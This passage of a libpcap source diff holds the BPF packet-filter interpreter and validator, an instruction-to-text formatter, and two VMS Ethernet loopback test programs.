* HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
* SUCH DAMAGE.
*
* @(#)bpf.c 7.5 (Berkeley) 7/15/91
*/
#if !(defined(lint) || defined(KERNEL) || defined(_KERNEL))
static const char rcsid[] =
"@(#) $Header: /tcpdump/master/libpcap/bpf/net/bpf_filter.c,v 1.38 2002/08/02 03:44:22 guy Exp $ (LBL)";
#endif
#ifdef WIN32
#include <pcap-stdinc.h>
#else /* WIN32 */
#ifdef VMS
#include "pcap-vms.h"
#else
#include <sys/param.h>
#include <sys/types.h>
#include <sys/time.h>
#define SOLARIS (defined(sun) && (defined(__SVR4) || defined(__svr4__)))
#if defined(__hpux) || SOLARIS
# include <sys/sysmacros.h>
# include <sys/stream.h>
# define mbuf msgb
# define m_next b_cont
# define MLEN(m) ((m)->b_wptr - (m)->b_rptr)
# define mtod(m,t) ((t)(m)->b_rptr)
#else
# define MLEN(m) ((m)->m_len)
#endif
#endif /* VMS */
#endif /* WIN32 */
#ifdef VMS
#include "bpf.h"
#else
#include <net/bpf.h>
#endif // VMS
#if !defined(KERNEL) && !defined(_KERNEL)
#include <stdlib.h>
#endif
#define int32 bpf_int32
#define u_int32 bpf_u_int32
#ifndef LBL_ALIGN
#if defined(sparc) || defined(mips) || defined(ibm032) || \
defined(__alpha) || defined(__hpux)
#define LBL_ALIGN
#endif
#endif
#ifndef LBL_ALIGN
#ifndef WIN32
#include <netinet/in.h>
#endif
#define EXTRACT_SHORT(p) ((u_short)ntohs(*(u_short *)p))
#define EXTRACT_LONG(p) (ntohl(*(u_int32 *)p))
#else
#define EXTRACT_SHORT(p)\
((u_short)\
((u_short)*((u_char *)p+0)<<8|\
(u_short)*((u_char *)p+1)<<0))
#define EXTRACT_LONG(p)\
((u_int32)*((u_char *)p+0)<<24|\
(u_int32)*((u_char *)p+1)<<16|\
(u_int32)*((u_char *)p+2)<<8|\
(u_int32)*((u_char *)p+3)<<0)
#endif
#if defined(KERNEL) || defined(_KERNEL)
# if !defined(__hpux) && !SOLARIS
#include <sys/mbuf.h>
# endif
#define MINDEX(len, _m, _k) \
{ \
len = MLEN(m); \
while ((_k) >= len) { \
(_k) -= len; \
(_m) = (_m)->m_next; \
if ((_m) == 0) \
return 0; \
len = MLEN(m); \
} \
}
static int
m_xword(m, k, err)
register struct mbuf *m;
register int k, *err;
{
register int len;
register u_char *cp, *np;
register struct mbuf *m0;
MINDEX(len, m, k);
cp = mtod(m, u_char *) + k;
if (len - k >= 4) {
*err = 0;
return EXTRACT_LONG(cp);
}
m0 = m->m_next;
if (m0 == 0 || MLEN(m0) + len - k < 4)
goto bad;
*err = 0;
np = mtod(m0, u_char *);
switch (len - k) {
case 1:
return (cp[0] << 24) | (np[0] << 16) | (np[1] << 8) | np[2];
case 2:
return (cp[0] << 24) | (cp[1] << 16) | (np[0] << 8) | np[1];
default:
return (cp[0] << 24) | (cp[1] << 16) | (cp[2] << 8) | np[0];
}
bad:
*err = 1;
return 0;
}
static int
m_xhalf(m, k, err)
register struct mbuf *m;
register int k, *err;
{
register int len;
register u_char *cp;
register struct mbuf *m0;
MINDEX(len, m, k);
cp = mtod(m, u_char *) + k;
if (len - k >= 2) {
*err = 0;
return EXTRACT_SHORT(cp);
}
m0 = m->m_next;
if (m0 == 0)
goto bad;
*err = 0;
return (cp[0] << 8) | mtod(m0, u_char *)[0];
bad:
*err = 1;
return 0;
}
#endif
/*
* Execute the filter program starting at pc on the packet p
* wirelen is the length of the original packet
* buflen is the amount of data present
* For the kernel, p is assumed to be a pointer to an mbuf if buflen is 0,
* in all other cases, p is a pointer to a buffer and buflen is its size.
*/
u_int
bpf_filter(pc, p, wirelen, buflen)
register struct bpf_insn *pc;
register u_char *p;
u_int wirelen;
register u_int buflen;
{
register u_int32 A, X;
register int k;
int32 mem[BPF_MEMWORDS];
#if defined(KERNEL) || defined(_KERNEL)
struct mbuf *m, *n;
int merr, len;
if (buflen == 0) {
m = (struct mbuf *)p;
p = mtod(m, u_char *);
buflen = MLEN(m);
} else
m = NULL;
#endif
if (pc == 0)
/*
* No filter means accept all.
*/
return (u_int)-1;
A = 0;
X = 0;
--pc;
while (1) {
++pc;
switch (pc->code) {
default:
#if defined(KERNEL) || defined(_KERNEL)
return 0;
#else
abort();
#endif
case BPF_RET|BPF_K:
return (u_int)pc->k;
case BPF_RET|BPF_A:
return (u_int)A;
case BPF_LD|BPF_W|BPF_ABS:
k = pc->k;
if (k + sizeof(int32) > buflen) {
#if defined(KERNEL) || defined(_KERNEL)
if (m == NULL)
return 0;
A = m_xword(m, k, &merr);
if (merr != 0)
return 0;
continue;
#else
return 0;
#endif
}
A = EXTRACT_LONG(&p[k]);
continue;
case BPF_LD|BPF_H|BPF_ABS:
k = pc->k;
if (k + sizeof(short) > buflen) {
#if defined(KERNEL) || defined(_KERNEL)
if (m == NULL)
return 0;
A = m_xhalf(m, k, &merr);
if (merr != 0)
return 0;
continue;
#else
return 0;
#endif
}
A = EXTRACT_SHORT(&p[k]);
continue;
case BPF_LD|BPF_B|BPF_ABS:
k = pc->k;
if (k >= buflen) {
#if defined(KERNEL) || defined(_KERNEL)
if (m == NULL)
return 0;
n = m;
MINDEX(len, n, k);
A = mtod(n, u_char *)[k];
continue;
#else
return 0;
#endif
}
A = p[k];
continue;
case BPF_LD|BPF_W|BPF_LEN:
A = wirelen;
continue;
case BPF_LDX|BPF_W|BPF_LEN:
X = wirelen;
continue;
case BPF_LD|BPF_W|BPF_IND:
k = X + pc->k;
if (k + sizeof(int32) > buflen) {
#if defined(KERNEL) || defined(_KERNEL)
if (m == NULL)
return 0;
A = m_xword(m, k, &merr);
if (merr != 0)
return 0;
continue;
#else
return 0;
#endif
}
A = EXTRACT_LONG(&p[k]);
continue;
case BPF_LD|BPF_H|BPF_IND:
k = X + pc->k;
if (k + sizeof(short) > buflen) {
#if defined(KERNEL) || defined(_KERNEL)
if (m == NULL)
return 0;
A = m_xhalf(m, k, &merr);
if (merr != 0)
return 0;
continue;
#else
return 0;
#endif
}
A = EXTRACT_SHORT(&p[k]);
continue;
case BPF_LD|BPF_B|BPF_IND:
k = X + pc->k;
if (k >= buflen) {
#if defined(KERNEL) || defined(_KERNEL)
if (m == NULL)
return 0;
n = m;
MINDEX(len, n, k);
A = mtod(n, u_char *)[k];
continue;
#else
return 0;
#endif
}
A = p[k];
continue;
case BPF_LDX|BPF_MSH|BPF_B:
k = pc->k;
if (k >= buflen) {
#if defined(KERNEL) || defined(_KERNEL)
if (m == NULL)
return 0;
n = m;
MINDEX(len, n, k);
X = (mtod(n, char *)[k] & 0xf) << 2;
continue;
#else
return 0;
#endif
}
X = (p[pc->k] & 0xf) << 2;
continue;
case BPF_LD|BPF_IMM:
A = pc->k;
continue;
case BPF_LDX|BPF_IMM:
X = pc->k;
continue;
case BPF_LD|BPF_MEM:
A = mem[pc->k];
continue;
case BPF_LDX|BPF_MEM:
X = mem[pc->k];
continue;
case BPF_ST:
mem[pc->k] = A;
continue;
case BPF_STX:
mem[pc->k] = X;
continue;
case BPF_JMP|BPF_JA:
pc += pc->k;
continue;
case BPF_JMP|BPF_JGT|BPF_K:
pc += (A > pc->k) ? pc->jt : pc->jf;
continue;
case BPF_JMP|BPF_JGE|BPF_K:
pc += (A >= pc->k) ? pc->jt : pc->jf;
continue;
case BPF_JMP|BPF_JEQ|BPF_K:
pc += (A == pc->k) ? pc->jt : pc->jf;
continue;
case BPF_JMP|BPF_JSET|BPF_K:
pc += (A & pc->k) ? pc->jt : pc->jf;
continue;
case BPF_JMP|BPF_JGT|BPF_X:
pc += (A > X) ? pc->jt : pc->jf;
continue;
case BPF_JMP|BPF_JGE|BPF_X:
pc += (A >= X) ? pc->jt : pc->jf;
continue;
case BPF_JMP|BPF_JEQ|BPF_X:
pc += (A == X) ? pc->jt : pc->jf;
continue;
case BPF_JMP|BPF_JSET|BPF_X:
pc += (A & X) ? pc->jt : pc->jf;
continue;
case BPF_ALU|BPF_ADD|BPF_X:
A += X;
continue;
case BPF_ALU|BPF_SUB|BPF_X:
A -= X;
continue;
case BPF_ALU|BPF_MUL|BPF_X:
A *= X;
continue;
case BPF_ALU|BPF_DIV|BPF_X:
if (X == 0)
return 0;
A /= X;
continue;
case BPF_ALU|BPF_AND|BPF_X:
A &= X;
continue;
case BPF_ALU|BPF_OR|BPF_X:
A |= X;
continue;
case BPF_ALU|BPF_LSH|BPF_X:
A <<= X;
continue;
case BPF_ALU|BPF_RSH|BPF_X:
A >>= X;
continue;
case BPF_ALU|BPF_ADD|BPF_K:
A += pc->k;
continue;
case BPF_ALU|BPF_SUB|BPF_K:
A -= pc->k;
continue;
case BPF_ALU|BPF_MUL|BPF_K:
A *= pc->k;
continue;
case BPF_ALU|BPF_DIV|BPF_K:
A /= pc->k;
continue;
case BPF_ALU|BPF_AND|BPF_K:
A &= pc->k;
continue;
case BPF_ALU|BPF_OR|BPF_K:
A |= pc->k;
continue;
case BPF_ALU|BPF_LSH|BPF_K:
A <<= pc->k;
continue;
case BPF_ALU|BPF_RSH|BPF_K:
A >>= pc->k;
continue;
case BPF_ALU|BPF_NEG:
A = -A;
continue;
case BPF_MISC|BPF_TAX:
X = A;
continue;
case BPF_MISC|BPF_TXA:
A = X;
continue;
}
}
}
/*
* Return true if the 'fcode' is a valid filter program.
* The constraints are that each jump be forward and to a valid
* code. The code must terminate with either an accept or reject.
* 'valid' is an array for use by the routine (it must be at least
* 'len' bytes long).
*
* The kernel needs to be able to verify an application's filter code.
* Otherwise, a bogus program could easily crash the system.
*/
int
bpf_validate(f, len)
struct bpf_insn *f;
int len;
{
register int i;
register struct bpf_insn *p;
for (i = 0; i < len; ++i) {
/*
* Check that that jumps are forward, and within
* the code block.
*/
p = &f[i];
if (BPF_CLASS(p->code) == BPF_JMP) {
register int from = i + 1;
if (BPF_OP(p->code) == BPF_JA) {
if (from + p->k >= (unsigned)len)
return 0;
}
else if (from + p->jt >= len || from + p->jf >= len)
return 0;
}
/*
* Check that memory operations use valid addresses.
*/
if ((BPF_CLASS(p->code) == BPF_ST ||
(BPF_CLASS(p->code) == BPF_LD &&
(p->code & 0xe0) == BPF_MEM)) &&
(p->k >= BPF_MEMWORDS || p->k < 0))
return 0;
/*
* Check for constant division by 0.
*/
if (p->code == (BPF_ALU|BPF_DIV|BPF_K) && p->k == 0)
return 0;
}
return BPF_CLASS(f[len - 1].code) == BPF_RET;
}

View File

@@ -0,0 +1,291 @@
/*
* Copyright (c) 1990, 1991, 1992, 1994, 1995, 1996
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that: (1) source code distributions
* retain the above copyright notice and this paragraph in its entirety, (2)
* distributions including binary code include the above copyright notice and
* this paragraph in its entirety in the documentation or other materials
* provided with the distribution, and (3) all advertising materials mentioning
* features or use of this software display the following acknowledgement:
* ``This product includes software developed by the University of California,
* Lawrence Berkeley Laboratory and its contributors.'' Neither the name of
* the University nor the names of its contributors may be used to endorse
* or promote products derived from this software without specific prior
* written permission.
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND WITHOUT ANY EXPRESS OR IMPLIED
* WARRANTIES, INCLUDING, WITHOUT LIMITATION, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.
*/
#ifndef lint
static const char rcsid[] =
"@(#) $Header: /tcpdump/master/libpcap/bpf_image.c,v 1.25 2002/03/24 23:21:51 guy Exp $ (LBL)";
#endif
#ifdef HAVE_CONFIG_H
#include "config.h"
#endif
#include <stdio.h>
#include <string.h>
#include "pcap-int.h"
#ifdef VMS
#include "pcap-vms.h"
#endif // VMS
#ifdef HAVE_OS_PROTO_H
#include "os-proto.h"
#endif
char *
bpf_image(p, n)
struct bpf_insn *p;
int n;
{
int v;
char *fmt, *op;
static char image[256];
char operand[64];
v = p->k;
switch (p->code) {
default:
op = "unimp";
fmt = "0x%x";
v = p->code;
break;
case BPF_RET|BPF_K:
op = "ret";
fmt = "#%d";
break;
case BPF_RET|BPF_A:
op = "ret";
fmt = "";
break;
case BPF_LD|BPF_W|BPF_ABS:
op = "ld";
fmt = "[%d]";
break;
case BPF_LD|BPF_H|BPF_ABS:
op = "ldh";
fmt = "[%d]";
break;
case BPF_LD|BPF_B|BPF_ABS:
op = "ldb";
fmt = "[%d]";
break;
case BPF_LD|BPF_W|BPF_LEN:
op = "ld";
fmt = "#pktlen";
break;
case BPF_LD|BPF_W|BPF_IND:
op = "ld";
fmt = "[x + %d]";
break;
case BPF_LD|BPF_H|BPF_IND:
op = "ldh";
fmt = "[x + %d]";
break;
case BPF_LD|BPF_B|BPF_IND:
op = "ldb";
fmt = "[x + %d]";
break;
case BPF_LD|BPF_IMM:
op = "ld";
fmt = "#0x%x";
break;
case BPF_LDX|BPF_IMM:
op = "ldx";
fmt = "#0x%x";
break;
case BPF_LDX|BPF_MSH|BPF_B:
op = "ldxb";
fmt = "4*([%d]&0xf)";
break;
case BPF_LD|BPF_MEM:
op = "ld";
fmt = "M[%d]";
break;
case BPF_LDX|BPF_MEM:
op = "ldx";
fmt = "M[%d]";
break;
case BPF_ST:
op = "st";
fmt = "M[%d]";
break;
case BPF_STX:
op = "stx";
fmt = "M[%d]";
break;
case BPF_JMP|BPF_JA:
op = "ja";
fmt = "%d";
v = n + 1 + p->k;
break;
case BPF_JMP|BPF_JGT|BPF_K:
op = "jgt";
fmt = "#0x%x";
break;
case BPF_JMP|BPF_JGE|BPF_K:
op = "jge";
fmt = "#0x%x";
break;
case BPF_JMP|BPF_JEQ|BPF_K:
op = "jeq";
fmt = "#0x%x";
break;
case BPF_JMP|BPF_JSET|BPF_K:
op = "jset";
fmt = "#0x%x";
break;
case BPF_JMP|BPF_JGT|BPF_X:
op = "jgt";
fmt = "x";
break;
case BPF_JMP|BPF_JGE|BPF_X:
op = "jge";
fmt = "x";
break;
case BPF_JMP|BPF_JEQ|BPF_X:
op = "jeq";
fmt = "x";
break;
case BPF_JMP|BPF_JSET|BPF_X:
op = "jset";
fmt = "x";
break;
case BPF_ALU|BPF_ADD|BPF_X:
op = "add";
fmt = "x";
break;
case BPF_ALU|BPF_SUB|BPF_X:
op = "sub";
fmt = "x";
break;
case BPF_ALU|BPF_MUL|BPF_X:
op = "mul";
fmt = "x";
break;
case BPF_ALU|BPF_DIV|BPF_X:
op = "div";
fmt = "x";
break;
case BPF_ALU|BPF_AND|BPF_X:
op = "and";
fmt = "x";
break;
case BPF_ALU|BPF_OR|BPF_X:
op = "or";
fmt = "x";
break;
case BPF_ALU|BPF_LSH|BPF_X:
op = "lsh";
fmt = "x";
break;
case BPF_ALU|BPF_RSH|BPF_X:
op = "rsh";
fmt = "x";
break;
case BPF_ALU|BPF_ADD|BPF_K:
op = "add";
fmt = "#%d";
break;
case BPF_ALU|BPF_SUB|BPF_K:
op = "sub";
fmt = "#%d";
break;
case BPF_ALU|BPF_MUL|BPF_K:
op = "mul";
fmt = "#%d";
break;
case BPF_ALU|BPF_DIV|BPF_K:
op = "div";
fmt = "#%d";
break;
case BPF_ALU|BPF_AND|BPF_K:
op = "and";
fmt = "#0x%x";
break;
case BPF_ALU|BPF_OR|BPF_K:
op = "or";
fmt = "#0x%x";
break;
case BPF_ALU|BPF_LSH|BPF_K:
op = "lsh";
fmt = "#%d";
break;
case BPF_ALU|BPF_RSH|BPF_K:
op = "rsh";
fmt = "#%d";
break;
case BPF_ALU|BPF_NEG:
op = "neg";
fmt = "";
break;
case BPF_MISC|BPF_TAX:
op = "tax";
fmt = "";
break;
case BPF_MISC|BPF_TXA:
op = "txa";
fmt = "";
break;
}
(void)snprintf(operand, sizeof operand, fmt, v);
(void)snprintf(image, sizeof image,
(BPF_CLASS(p->code) == BPF_JMP &&
BPF_OP(p->code) != BPF_JA) ?
"(%03d) %-8s %-16s jt %d\tjf %d"
: "(%03d) %-8s %s",
n, op, operand, n + 1 + p->jt, n + 1 + p->jf);
return image;
}

View File

@@ -0,0 +1,278 @@
#include <ctype> /* Character type classification macros/routines */
#include <descrip> /* For VMS descriptor manipulation */
#include <iodef> /* I/O function code definitions */
#include <ssdef> /* System service return status code definitions */
#include <starlet> /* System library routine prototypes */
#include <stdio> /* ANSI C Standard Input/Output */
#include <stdlib> /* General utilities */
#include <string> /* String handling */
#include <stsdef> /* VMS status code definitions */
#include "nmadef.h" /* NMA stuff */
#define $SUCCESS(status) (((status) & STS$M_SUCCESS) == SS$_NORMAL)
#define $FAIL(status) (((status) & STS$M_SUCCESS) != SS$_NORMAL)
#pragma nomember_alignment
struct parm_802e
{
short pcli_fmt; /* Format - 802E */
int fmt_value;
short pcli_bfn;
int bnf_value;
// short pcli_acc;
// int acc_value;
short pcli_prm;
int prm_value;
short pcli_pid; /* Protocol ID - 08-00-2B-90-00 */
short pid_length;
unsigned char pid_value[5];
} setparm_802e = {
NMA$C_PCLI_FMT,
NMA$C_LINFM_802E,
NMA$C_PCLI_BFN,
255,
// NMA$C_PCLI_ACC,
// NMA$C_ACC_SHR,
NMA$C_PCLI_PRM,
NMA$C_STATE_ON,
NMA$C_PCLI_PID, 5, 8,0,0x2b,0x80,0x00
};
typedef struct _hdr {
unsigned char dsap;
unsigned char ssap;
unsigned char ctl;
unsigned char pid[5];
unsigned char da[6];
unsigned char sa[6];
unsigned char pty[2];
} hdr, *hdrPtr;
struct setparmdsc
{
int parm_len;
void *parm_buffer;
};
struct setparmdsc setparmdsc_loop = {sizeof(setparm_802e),&setparm_802e};
struct p5_param /* P5 Receive header buffer */
{
unsigned char da[6];
unsigned char sa[6];
char misc[20];
};
struct iosb /* IOSB structure */
{
short w_err; /* Completion Status */
short w_xfer_size; /* Transfer Size */
short w_addl; /* Additional status */
short w_misc; /* Miscellaneous */
};
struct ascid /* Device descriptor for assign */
{
short w_len;
short w_info;
char *a_string;
} devdsc = {4,0,"EWA0"};
struct iosb qio_iosb; /* IOSB structure */
struct p5_param rcv_param; /* Receive header structure */
struct p5_param xmt_param={ /* Transmit header structure */
0xCF,0,0,0,0,0}; /* Loopback Assistant Multicast Address */
char rcv_buffer[2048]; /* Receive buffer */
char xmt_buffer[20]={ /* Transmit buffer */
0,0, /* Skip count */
2,0, /* Forward request */
0,0,0,0,0,0, /* Forward address */
1,0, /* Reply request */
0,0};
char sense_buffer[512]; /* Sensemode buffer */
struct setparmdsc sensedsc_loop = {sizeof(sense_buffer),&sense_buffer};
/*
** Helper routines
*/
char *add_int_value(char *buf, short code, int value)
{
char *tmpptr = buf;
*tmpptr = code;
*tmpptr += 2;
*tmpptr = value;
*tmpptr += 4;
return tmpptr;
}
char *add_counted_value(char *buf, short code, short len, char *value)
{
char *tmpptr = buf;
*tmpptr = code;
*tmpptr += 2;
*tmpptr = len;
*tmpptr += 2;
memcpy(tmpptr,value,len);
return tmpptr;
}
int find_value(int buflen, char *buf, short code, char *retbuf)
{
int i = 0;
int item;
char *tmpbuf = buf;
int value;
int status = 0;
while (i < buflen) {
item = (tmpbuf[i] + (tmpbuf[i+1]<<8));
if (0x1000 & item) {
if ((item & 0xFFF) == code) {
memcpy(retbuf, &tmpbuf[i+4],6);
status = 1;
break;
}
i += (tmpbuf[i+2] + (tmpbuf[i+3]<<8)) + 4;
} else {
// A value, ours?
if ((item & 0xFFF) == code) {
// Yep, return it
memcpy(retbuf, &tmpbuf[i+2], 4);
status = 1;
break;
}
i += 6;
}
}
return status;
}
/*
* MAIN
*/
main(int argc, char *argv[])
{
int i, j; /* Scratch */
int chan; /* Channel assigned */
int status; /* Return status */
char phyaddr[6];
int val;
hdrPtr r_head;
/*
* Start a channel.
*/
status = sys$assign(&devdsc,&chan,0,0);
if ($FAIL(status)) exit(status);
status = sys$qiow(0,chan,IO$_SETMODE|IO$M_CTRL|IO$M_STARTUP,&qio_iosb,0,0,0,
&setparmdsc_loop,0,0,0,0);
if ($SUCCESS(status)) status = qio_iosb.w_err;
if ($FAIL(status))
{
printf("IOSB addl status = %04X %04X (on startup)\n",qio_iosb.w_addl,qio_iosb.w_misc);
exit(status);
}
/*
* Issue the SENSEMODE QIO to get our physical address for the loopback message.
*/
status = sys$qiow(0,chan,IO$_SENSEMODE|IO$M_CTRL,&qio_iosb,0,0,0,
&sensedsc_loop,0,0,0,0);
if ($SUCCESS(status)) status = qio_iosb.w_err;
if ($FAIL(status))
{
printf("IOSB addl status = %04X %04X (on sensemode)\n",
qio_iosb.w_addl,qio_iosb.w_misc);
exit(status);
}
status = find_value(qio_iosb.w_xfer_size, sense_buffer,
NMA$C_PCLI_PHA, phyaddr);
/*
* Locate the PHA parameter in the SENSEMODE buffer and copy it into the
* LOOPBACK transmit message. The PHA parameter is a string parameter.
*/
j = 0;
while (j < sizeof(sense_buffer))
{
i = (sense_buffer[j] + (sense_buffer[j+1]<<8));
if (0x1000 & i)
{
if ((i & 0xFFF) == NMA$C_PCLI_PHA)
{
memcpy(&xmt_buffer[4],&sense_buffer[j+4],6);
break;
}
j += (sense_buffer[j+2] + (sense_buffer[j+3]<<8)) + 4;
}
else
{
j += 6; /* Skip over longword parameter */
}
}
/*
* Transmit the loopback message.
*/
status = sys$qiow(0,chan,IO$_WRITEVBLK,&qio_iosb,0,0,&xmt_buffer[0],
sizeof(xmt_buffer),0,0,&xmt_param,0);
if ($SUCCESS(status)) status = qio_iosb.w_err;
if ($FAIL(status))
{
printf("IOSB addl status = %04X %04X (on transmit)\n",
qio_iosb.w_addl,qio_iosb.w_misc);
exit(status);
}
/*
* Look for a response. We use the NOW function modifier on the READ so that
* we don't hang here waiting forever if there is no response. If there is no
* response in 1000 receive attempts, we declare no response status.
*/
for (i=0;i<1000;i++)
{
// status = sys$qiow(0,chan,IO$_READVBLK|IO$M_NOW,&qio_iosb,0,0,&rcv_buffer[0],
status = sys$qiow(0,chan,IO$_READVBLK,&qio_iosb,0,0,&rcv_buffer[0],
sizeof(rcv_buffer),0,0,&rcv_param,0);
if ($SUCCESS(status)) status = qio_iosb.w_err;
if ($SUCCESS(status)) {
printf("da %02x%02x%02x%02x%02x%02x, sa %02x%02x%02x%02x%02x%02x\n",
rcv_param.da[0],
rcv_param.da[1],
rcv_param.da[2],
rcv_param.da[3],
rcv_param.da[4],
rcv_param.da[5],
rcv_param.sa[0],
rcv_param.sa[1],
rcv_param.sa[2],
rcv_param.sa[3],
rcv_param.sa[4],
rcv_param.sa[5]);
} else {
printf("Error\n");
exit(status);
break;
}
}
if ($SUCCESS(status))
printf("Successful test\n");
else
printf("No response\n");
}

View File

@@ -0,0 +1,286 @@
#include <ctype> /* Character type classification macros/routines */
#include <descrip> /* For VMS descriptor manipulation */
#include <iodef> /* I/O function code definitions */
#include <ssdef> /* System service return status code definitions */
#include <starlet> /* System library routine prototypes */
#include <stdio> /* ANSI C Standard Input/Output */
#include <stdlib> /* General utilities */
#include <string> /* String handling */
#include <stsdef> /* VMS status code definitions */
#include "nmadef.h" /* NMA stuff */
#define $SUCCESS(status) (((status) & STS$M_SUCCESS) == SS$_NORMAL)
#define $FAIL(status) (((status) & STS$M_SUCCESS) != SS$_NORMAL)
#pragma nomember_alignment
struct parm_802e
{
short pcli_fmt; /* Format - 802E */
int fmt_value;
short pcli_bfn;
int bnf_value;
short pcli_acc;
// int acc_value;
// short pcli_prm;
int prm_value;
short pcli_pid; /* Protocol ID - 08-00-2B-90-00 */
short pid_length;
unsigned char pid_value[5];
} setparm_802e = {
NMA$C_PCLI_FMT,
NMA$C_LINFM_802E,
NMA$C_PCLI_BFN,
255,
// NMA$C_PCLI_ACC,
// NMA$C_ACC_SHR,
NMA$C_PCLI_PRM,
NMA$C_STATE_ON,
NMA$C_PCLI_PID, 5, 8,0,0x2b,0x80,0x00
};
typedef struct _hdr {
unsigned char dsap;
unsigned char ssap;
unsigned char ctl;
unsigned char pid[5];
unsigned char da[6];
unsigned char sa[6];
unsigned char pty[2];
} hdr, *hdrPtr;
struct setparmdsc
{
int parm_len;
void *parm_buffer;
};
struct setparmdsc setparmdsc_loop = {sizeof(setparm_802e),&setparm_802e};
struct p5_param /* P5 Receive header buffer */
{
unsigned char da[6];
unsigned char sa[6];
char misc[20];
};
struct iosb /* IOSB structure */
{
short w_err; /* Completion Status */
short w_xfer_size; /* Transfer Size */
short w_addl; /* Additional status */
short w_misc; /* Miscellaneous */
};
struct ascid /* Device descriptor for assign */
{
short w_len;
short w_info;
char *a_string;
} devdsc = {4,0,"EWA0"};
struct iosb qio_iosb; /* IOSB structure */
struct p5_param rcv_param; /* Receive header structure */
struct p5_param xmt_param={ /* Transmit header structure */
0xCF,0,0,0,0,0}; /* Loopback Assistant Multicast Address */
char rcv_buffer[2048]; /* Receive buffer */
char xmt_buffer[20]={ /* Transmit buffer */
0,0, /* Skip count */
2,0, /* Forward request */
0,0,0,0,0,0, /* Forward address */
1,0, /* Reply request */
0,0};
char sense_buffer[512]; /* Sensemode buffer */
struct setparmdsc sensedsc_loop = {sizeof(sense_buffer),&sense_buffer};
/*
** Helper routines
*/
char *add_int_value(char *buf, short code, int value)
{
char *tmpptr = buf;
*tmpptr = code;
*tmpptr += 2;
*tmpptr = value;
*tmpptr += 4;
return tmpptr;
}
char *add_counted_value(char *buf, short code, short len, char *value)
{
char *tmpptr = buf;
*tmpptr = code;
*tmpptr += 2;
*tmpptr = len;
*tmpptr += 2;
memcpy(tmpptr,value,len);
return tmpptr;
}
int find_value(int buflen, char *buf, short code, char *retbuf)
{
int i = 0;
int item;
char *tmpbuf = buf;
int value;
int status = 0;
while (i < buflen) {
item = (tmpbuf[i] + (tmpbuf[i+1]<<8));
if (0x1000 & item) {
if ((item & 0xFFF) == code) {
memcpy(retbuf, &tmpbuf[i+4],6);
status = 1;
break;
}
i += (tmpbuf[i+2] + (tmpbuf[i+3]<<8)) + 4;
} else {
// A value, ours?
if ((item & 0xFFF) == code) {
// Yep, return it
memcpy(retbuf, &tmpbuf[i+2], 4);
status = 1;
break;
}
i += 6;
}
}
return status;
}
/*
* MAIN
*/
main(int argc, char *argv[])
{
int i, j; /* Scratch */
int chan; /* Channel assigned */
int status; /* Return status */
char phyaddr[6];
int val;
hdrPtr r_head;
/*
* Start a channel.
*/
status = sys$assign(&devdsc,&chan,0,0);
if ($FAIL(status)) exit(status);
status = sys$qiow(0,chan,IO$_SENSEMODE|IO$M_CTRL,&qio_iosb,0,0,0,
&sensedsc_loop,0,0,0,0);
status = find_value(qio_iosb.w_xfer_size, sense_buffer,
NMA$C_PCLI_PHA, phyaddr);
status = sys$qiow(0,chan,IO$_SETMODE|IO$M_CTRL|IO$M_STARTUP,&qio_iosb,0,0,0,
0,0,0,0,0);
status = sys$qiow(0,chan,IO$_SETMODE|IO$M_CTRL|IO$M_STARTUP,&qio_iosb,0,0,0,
&setparmdsc_loop,0,0,0,0);
if ($SUCCESS(status)) status = qio_iosb.w_err;
if ($FAIL(status))
{
printf("IOSB addl status = %04X %04X (on startup)\n",qio_iosb.w_addl,qio_iosb.w_misc);
exit(status);
}
/*
* Issue the SENSEMODE QIO to get our physical address for the loopback message.
*/
status = sys$qiow(0,chan,IO$_SENSEMODE|IO$M_CTRL,&qio_iosb,0,0,0,
&sensedsc_loop,0,0,0,0);
if ($SUCCESS(status)) status = qio_iosb.w_err;
if ($FAIL(status))
{
printf("IOSB addl status = %04X %04X (on sensemode)\n",
qio_iosb.w_addl,qio_iosb.w_misc);
exit(status);
}
status = find_value(qio_iosb.w_xfer_size, sense_buffer,
NMA$C_PCLI_PHA, phyaddr);
/*
* Locate the PHA parameter in the SENSEMODE buffer and copy it into the
* LOOPBACK transmit message. The PHA parameter is a string parameter.
*/
j = 0;
while (j < sizeof(sense_buffer))
{
i = (sense_buffer[j] + (sense_buffer[j+1]<<8));
if (0x1000 & i)
{
if ((i & 0xFFF) == NMA$C_PCLI_PHA)
{
memcpy(&xmt_buffer[4],&sense_buffer[j+4],6);
break;
}
j += (sense_buffer[j+2] + (sense_buffer[j+3]<<8)) + 4;
}
else
{
j += 6; /* Skip over longword parameter */
}
}
/*
* Transmit the loopback message.
*/
status = sys$qiow(0,chan,IO$_WRITEVBLK,&qio_iosb,0,0,&xmt_buffer[0],
sizeof(xmt_buffer),0,0,&xmt_param,0);
if ($SUCCESS(status)) status = qio_iosb.w_err;
if ($FAIL(status))
{
printf("IOSB addl status = %04X %04X (on transmit)\n",
qio_iosb.w_addl,qio_iosb.w_misc);
exit(status);
}
/*
* Look for a response. We use the NOW function modifier on the READ so that
* we don't hang here waiting forever if there is no response. If there is no
* response in 1000 receive attempts, we declare no response status.
*/
for (i=0;i<1000;i++)
{
// status = sys$qiow(0,chan,IO$_READVBLK|IO$M_NOW,&qio_iosb,0,0,&rcv_buffer[0],
status = sys$qiow(0,chan,IO$_READVBLK,&qio_iosb,0,0,&rcv_buffer[0],
sizeof(rcv_buffer),0,0,&rcv_param,0);
if ($SUCCESS(status)) status = qio_iosb.w_err;
if ($SUCCESS(status)) {
printf("da %02x%02x%02x%02x%02x%02x, sa %02x%02x%02x%02x%02x%02x\n",
rcv_param.da[0],
rcv_param.da[1],
rcv_param.da[2],
rcv_param.da[3],
rcv_param.da[4],
rcv_param.da[5],
rcv_param.sa[0],
rcv_param.sa[1],
rcv_param.sa[2],
rcv_param.sa[3],
rcv_param.sa[4],
rcv_param.sa[5]);
} else {
printf("Error\n");
exit(status);
break;
}
}
if ($SUCCESS(status))
printf("Successful test\n");
else
printf("No response\n");
}

View File

@@ -0,0 +1,162 @@
/*
* Copyright (c) 1990, 1993, 1994, 1995, 1996
